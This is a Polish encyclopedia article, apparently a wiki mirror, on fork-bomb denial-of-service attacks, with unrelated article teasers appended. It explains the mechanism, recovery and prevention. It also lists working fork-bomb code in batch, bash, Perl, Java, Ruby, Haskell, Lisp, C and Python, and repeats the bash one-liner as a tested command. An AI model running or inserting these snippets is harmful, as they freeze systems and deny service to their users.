Fork-bomba

Idea fork-bomby opiera się na rozmnożeniu procesów, aż do wykorzystania dostępnych zasobów.

Fork-bomba (ang. fork bomb) – rodzaj ataku Denial of Service na systemy komputerowe.

Implementacja ataku

Charakterystyka

Podstawowa implementacja fork-bomby jest nieskończoną pętlą, która uruchamia kolejne kopie tego samego procesu. Atak opiera się na założeniu, że w środowisku wieloprocesowym tylko pewna liczba procesów może być efektywnie wykonywana naraz. Atak polega na bardzo szybkim „rozmnożeniu” kopii programu (fork to nazwa funkcji systemowej służącej do duplikowania procesów) w celu wypełnienia tablicy procesów systemu operacyjnego[1][2]. W takiej sytuacji wywołanie nowego procesu (mającego na celu np. zabicie procesów bomby) jest wstrzymane do czasu zwolnienia choćby jednego wpisu, co jednak jest mało prawdopodobne, ponieważ każdy proces bomby jest gotów w tym momencie się rozmnożyć.

Ponieważ każdy z procesów bomby wykonuje jakiś kod (nie usypia się), planista systemowy każdemu z nich przydziela czas procesora, co praktycznie zatrzymuje działanie systemu. Jedną z technik obrony przed fork-bombami jest ustalenie górnego limitu procesów, jakie może utworzyć dany proces lub użytkownik (dotyczy to również jego dalszych procesów potomnych).

Porównanie ataku w systemach Windows oraz Unix

W systemach z rodziny Unix, fork bomby przeważnie używają wywołania funkcji fork[2]. Ponieważ procesy utworzone przez bombę są kopiami programu „pierwotnego”, w momencie kolejnych wykonań zaczynają także tworzyć kopie samych siebie; w efekcie dochodzi do wykładniczego wzrostu ilości procesów. Ponieważ współczesne systemy Unix przeważnie korzystają z opcji kopiowania przy zapisie przy tworzeniu nowych procesów wywołaniem fork[3], bomba zazwyczaj nie zużywa dużej ilości pamięci.

Systemy Microsoft Windows nie posiadają funkcji, będącej odpowiednikiem wywołania fork w systemach Unix[4]; zatem fork bomba na takim systemie musi tworzyć nowy proces zamiast kopiować istniejący.

Przykłady fork-bomb

:loop
start %0
goto loop

Inna wersja:

@echo.%0^|%0›$^_^.c^md&$_›nul
:(){ :|:& };:

Wyjaśnienie: zdefiniowana jest tutaj funkcja o nazwie „:” nie przyjmująca żadnego parametru. W swoim ciele (ograniczanym przez "{" i "}") wywołuje się rekurencyjnie dwukrotnie, przekierowując wyjście pierwszego wywołania na wejście drugiego wywołania poprzez mechanizm nienazwanych potoków (pipes, „|”) i przechodzi do tła – „&” – : dzięki czemu zabicie procesu-rodzica nie zabije procesów-potomków. Średnik kończy definicję funkcji, a końcowy dwukropek jest jej pierwszym wywołaniem. Poniżej znajduje się bardziej przejrzysty zapis (zmieniono nazwę funkcji):

bomba()
{
   bomba | bomba &
};
bomba
perl -e "fork while fork"
public class ForkBomb
{
  public static void main(String[] args)
  {
    while(true)
    {
      Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
    }
  }
}
loop { fork { load(__FILE__) } }

Alternatywna postać:

loop do
    fork do
        load(__FILE__)
    end
end
import Control.Monad (forever)
import System.Posix.Process (forkProcess)

forkBomb = forever $ forkProcess forkBomb

main = forkBomb
(loop (#_fork))

C:

#include <unistd.h>

int main(void)
{
    while(1) fork();
}
import os
while os.fork() == 0:
    os.fork()

Trudność naprawy

Kiedy fork-bomba zostanie poprawnie uruchomiona, odzyskanie sprawności systemu może nie być możliwe bez ponownego uruchomienia, ponieważ jedynym sposobem na zniszczenie fork-bomby jest zabicie wszystkich jej procesów. Próba użycia programu do zabicia złośliwych procesów zwykle potrzebuje utworzenia odrębnego procesu, co może się nie udać, gdy nie ma wolnych miejsc w tablicy procesów lub wolnej pamięci. Może wymagać restartu lub wyłączenia.

Automatycznie może naprawić go watchdog. Programowy watchdog linuksa, przy ustawionym ograniczeniu liczby oczekujących procesów (odkomentowaniu linii zaczynających się od „max-load”), możliwie łagodnie zrestartuje system.

Metoda sprawdzona na Debianie poleceniem[5]:

:(){ :|:& };:

po zmianie ustawień w zbiorze /etc/watchdog.conf na:

max-load-1       = 120
max-load-5       =  90
max-load-15      =  30
min-memory       =   1

Zapobieganie

Jedną z możliwości zapobieżenia fork-bombie jest ustanowienie limitu liczby procesów, które może uruchomić użytkownik. Gdy proces próbuje utworzyć inny proces, a jego rodzic posiada już więcej niż przewiduje maksimum, sklonowanie nie zachodzi. Maksimum powinno być wystarczająco niskie, aby w razie zaatakowania maszyny przez wielu użytkowników naraz pozostawić wystarczającą ilość wolnych zasobów dla uniknięcia katastrofy.

Przypisy

  1. Nong Ye: Secure Computer and Network Systems: Modeling, Analysis and Design. 2008, s. 16. ISBN 0-470-02324-4.
  2. a b Dong Jielin: Network Dictionary. 2007, s. 200. ISBN 1-60267-000-5.
  3. D. M. Dhamdhere: Operating Systems: A Concept-based Approach. 2006, s. 285. ISBN 0-07-061194-7.
  4. Mark Hammond: Python Programming On Win32: Help for Windows Programmers. 2000, s. 35. ISBN 1-56592-621-8.
  5. Kontrola działania watchdoga

Read other articles:

Andy King King bersama Wales pada 2016Informasi pribadiNama lengkap Andrew Philip King[1]Tanggal lahir 29 Oktober 1988 (umur 35)[1]Tempat lahir Barnstaple, InggrisTinggi 1,83 m (6 ft 0 in)[1]Posisi bermain GelandangInformasi klubKlub saat ini Bristol CityNomor 10Karier junior1998–2004 Chelsea2004–2006 Leicester CityKarier senior*Tahun Tim Tampil (Gol)2006–2020 Leicester City 329 (55)2018 → Swansea City (pinjaman) 11 (2)2019 → Derby County...

 

BaxingerGenreRobot AnimeSutradaraTakao YotsujiStudioKokusai Eiga-sha  Portal anime dan manga Ginga Reppuu Baxinger (銀河烈風バクシンガー) adalah judul anime yang merupakan seri kedua dari trilogi J9. Anime ini merupakan produksi Studio Kokusai Eiga Sha, studio yang juga memproduksi serial anime J9 lainnya dan Galvion. Sinopsis Cerita Braiger ini mengambil waktu kurang lebih 600 tahun setelah perang besar di kisah Ginga Senpuu Braiger. Pada saat itu planet Jupiter sudah hanc...

 

Bardo Lambang kebesaranBardoKoordinat: 50°31′N 16°44′E / 50.517°N 16.733°E / 50.517; 16.733Negara PolandiaVoivodeshipDolnośląskiePowiatZąbkowice ŚląskieGminaBardoDitemukanAbad ke-10Hak kotaAwal abad ke-14Luas • Total4,71 km2 (182 sq mi)Populasi (2019-06-30[1]) • Total2.562 • Kepadatan5,4/km2 (14/sq mi)Zona waktuUTC+1 (CET) • Musim panas (DST)UTC+2 (CEST)Kode pos57-256Situ...

Catch the GhostPoster promosiHangul유령을 잡아라 GenreDrama kriminalPembuatStudio DragonDitulis olehSo WonLee Young-jooSutradaraSin Yoon-seobPemeranMoon Geun-youngKim Seon-hoNegara asalKorea SelatanBahasa asliKoreaProduksiProduserLee Jang-sooChoi Tae-youngPengaturan kameraSingle-cameraRumah produksiLogos FilmDistributortvNRilis asliJaringantvNFormat gambar1080i (HDTV)Format audioDolby DigitalRilis21 Oktober (2019-10-21) –10 Desember 2019 (2019-12-10) Catch the Ghost (H...

 

Sonya LevienLahir(1888-12-25)25 Desember 1888Kegubernuran Kovno, Kekaisaran RusiaMeninggal19 Maret 1960(1960-03-19) (umur 71)Hollywood, California, Amerika SerikatNama lainSonya HoveyPekerjaanPenulis naskahTahun aktif1921–1960Suami/istriCarl Hovey (?-1956) Sonya Levien (nama lahir Sara Opesken; 25 Desember 1888 – 19 Maret 1960) adalah seorang penulis naskah Amerika Serikat kelahiran Rusia. Ia menjadi salah satu penulis naskah perempuan berbayaran tertinggi di...

 

Artikel ini sudah memiliki daftar referensi, bacaan terkait, atau pranala luar, tetapi sumbernya belum jelas karena belum menyertakan kutipan pada kalimat. Mohon tingkatkan kualitas artikel ini dengan memasukkan rujukan yang lebih mendetail bila perlu. (Pelajari cara dan kapan saatnya untuk menghapus pesan templat ini) Sebuah kargo pembawa bahan curah (bulk carrier) di Brest, Prancis. Kereta tangki modern untuk semua jenis cairan dan gas Bahan curah atau muatan curah adalah komoditas yang dit...

Artikel ini menggunakan kata-kata yang berlebihan dan hiperbolis tanpa memberikan informasi yang jelas. Silakan buang istilah-istilah yang hiperbolis tersebut. (Pelajari cara dan kapan saatnya untuk menghapus pesan templat ini)Artikel ini tidak memiliki referensi atau sumber tepercaya sehingga isinya tidak bisa dipastikan. Tolong bantu perbaiki artikel ini dengan menambahkan referensi yang layak. Tulisan tanpa sumber dapat dipertanyakan dan dihapus sewaktu-waktu.Cari sumber: Ciledug, Cir...

 

Artikel ini tidak memiliki referensi atau sumber tepercaya sehingga isinya tidak bisa dipastikan. Tolong bantu perbaiki artikel ini dengan menambahkan referensi yang layak. Tulisan tanpa sumber dapat dipertanyakan dan dihapus sewaktu-waktu.Cari sumber: Oh My Venus – berita · surat kabar · buku · cendekiawan · JSTOR Oh My VenusPoster promosiGenreAsmara Drama KomediDitulis olehKim Eun-jiSutradaraKim Hyung-sukPemeranSo Ji-sub Shin Min-aNegara asalKorea Se...

 

Wakil Bupati BogorPrayoga, Tohaga, Sayaga-Kuta Udaya Wangsa (Sunda) Bersikap baik, kukuh pendirian, dan siap siaga untuk mewujudkan Bogor sebagai pusat kebangkitan perjuangan pembangunan demi kesejahteraan bangsaPetahanaLowongsejak 28 April 2022Masa jabatan5 tahunDibentuk1994Pejabat pertamaDrs. H. Mohammad Masduki, M.Si.Situs webbogorkab.go.id Berikut ini adalah daftar Wakil Bupati Bogor dari masa ke masa. No Wakil Bupati Mulai Jabatan Akhir Jabatan Prd. Ket. Bupati 1 Drs. H.Mohammad Mas...

La bandiera del Segretario della Marina. Lo stemma del Dipartimento della Marina. Il segretario della Marina degli Stati Uniti d'America (SECNAV) è il capo civile del Department of the Navy, sotto la direzione del Presidente e del Segretario della difesa degli Stati Uniti d'America. Indice 1 Storia 2 Organizzazione 2.1 Il Segretario 2.2 Il Segretariato 3 Elenco 3.1 Congresso continentale 3.2 Dipartimento esecutivo (1798-1947) 3.3 1949-tempi attuali 4 Voci correlate 5 Altri progetti 6 Collega...

 

SatellaviewFabricant NintendoType Périphérique de console de jeuxGénération QuatrièmeDate de sortie 23 avril 1995Fin de production 30 juin 2000Média Cartouche, téléchargementContrôleurs Manette Super FamicomService en ligne St.GIGAUnités vendues 2,5 MFamicom Disk SystemNintendo 64DDmodifier - modifier le code - modifier Wikidata Le Satellaview est une extension de la Super Famicom, commercialisée uniquement au Japon à partir de 1995. Également connu sous les initiales BS-X, ce s...

 

County in Ireland County in Connacht, IrelandCounty Sligo Contae ShligighCounty Coat of armsNickname: Yeats CountryMotto: Land of Heart's Desire  Anthem: Isle of Innisfree and Down by the Salley GardensCountryIrelandProvinceConnachtRegionNorthern and WesternEstablished1585[1]County townSligoGovernment • Local authoritySligo County Council • Dáil constituencySligo–Leitrim • EP constituencyMidlands–North-WestArea[2]...

Untuk artikel manusia yang telah meninggal, lihat mayat Bangkai rusa muda yang mati tertabrak mobil di Jerman, Eropa Koyote sedang memakan bangkai elk pada musim dingin yang bersalju. Bangkai adalah tubuh hewan yang telah mati tanpa disembelih.[1] Bangkai merupakan makanan penting bagi berbagai karnivora dan omnivora di sebagian besar ekosistem yang ada di bumi ini. Burung pemakan bangkai, elang,[2] hyena,[3] setan tasmania,[4] koyote,[5] komodo,[6&...

 

Group of Carmelites executed during the French Revolution in Compiègne, France (1794) This article has multiple issues. Please help improve it or discuss these issues on the talk page. (Learn how and when to remove these template messages) This article relies largely or entirely on a single source. Relevant discussion may be found on the talk page. Please help improve this article by introducing citations to additional sources.Find sources: Martyrs of Compiègne – news ...

 

2010 video game 2010 video gameRadiant HistoriaNorth American Nintendo DS box artDeveloper(s)AtlusHeadlockPublisher(s)JP: AtlusNA: Atlus USAEU: Deep Silver (3DS)Director(s)Mitsuru HirataSatoshi TakayashikiDesigner(s)Tomohiro OkunoYasuko SumiyaSatoshi TakayashikiProgrammer(s)Daisuke YajimaArtist(s)Hiroshi KonishiMasaki Hirooka (3DS)Writer(s)Yoh HadukiSouzou TonamiKazuhito OkayamaComposer(s)Yoko ShimomuraPlatform(s)Nintendo DSNintendo 3DSReleaseNintendo DSJP: November 3, 2010NA: February 22, 20...

Artikel ini membutuhkan rujukan tambahan agar kualitasnya dapat dipastikan. Mohon bantu kami mengembangkan artikel ini dengan cara menambahkan rujukan ke sumber tepercaya. Pernyataan tak bersumber bisa saja dipertentangkan dan dihapus.Cari sumber: Ekonomi liberal – berita · surat kabar · buku · cendekiawan · JSTOR Adam Smith, salah satu cendekiawan ekonomi liberal. Bagian dari seri tentangLiberalisme Mazhab Liberalisme konservatif Liberalisme sosial Ne...

 

Prince of Antioch Raymond-RoupenPrince of AntiochReign1216–1219RivalBohemond IVKing of Armenian CiliciaReign1211–1219Senior kingLeo IBorn1198Died1221/1222SpouseHelvis of CyprusIssuemore...Maria, Lady of ToronHouseHouse of PoitiersFatherRaymond IV, Count of TripoliMotherAlice, Lady of Toron Raymond-Roupen (also Raymond-Rupen and Ruben-Raymond; 1198 – 1219 or 1221/1222) was a member of the House of Poitiers who claimed the thrones of the Principality of Antioch and Armenian Kingdom of...

 

1380s poem by Geoffrey Chaucer For the Shakespeare play, see Troilus and Cressida. Geoffrey Chaucer reciting before nobles Troilus and Criseyde (/ˈtrɔɪləs ... krɪˈseɪdə/) is an epic poem by Geoffrey Chaucer which re-tells in Middle English the tragic story of the lovers Troilus and Criseyde set against a backdrop of war during the siege of Troy. It was written in rime royale and probably completed during the mid-1380s. Many Chaucer scholars regard it as the poet's finest w...

Election in Sweden 1948 Swedish general election ← 1944 19 September 1948 1952 → All 230 seats in the Andra kammaren of the Riksdag116 seats needed for a majority   First party Second party Third party   Leader Tage Erlander Bertil Ohlin Axel Pehrsson-Bramstorp Party Social Democrats People's Party Farmers' League Last election 115 26 35 Seats won 112 57 30 Seat change 3 31 5 Popular vote 1,789,459 882,437 480,421 Percentage 46.1% 22.7% 12.4...

 

1995 studio album by Bette MidlerBette of RosesStudio album by Bette MidlerReleasedJuly 18, 1995Length50:35LabelAtlanticProducerArif MardinBette Midler chronology Gypsy(1993) Bette of Roses(1995) Bathhouse Betty(1998) Singles from Bette of Roses To Deserve You In This Life Bette of Roses is the eighth studio album by the American singer Bette Midler. It was released by Atlantic Records on July 18, 1995, in the United States. The title was a play on the title of one of the tracks, Bed ...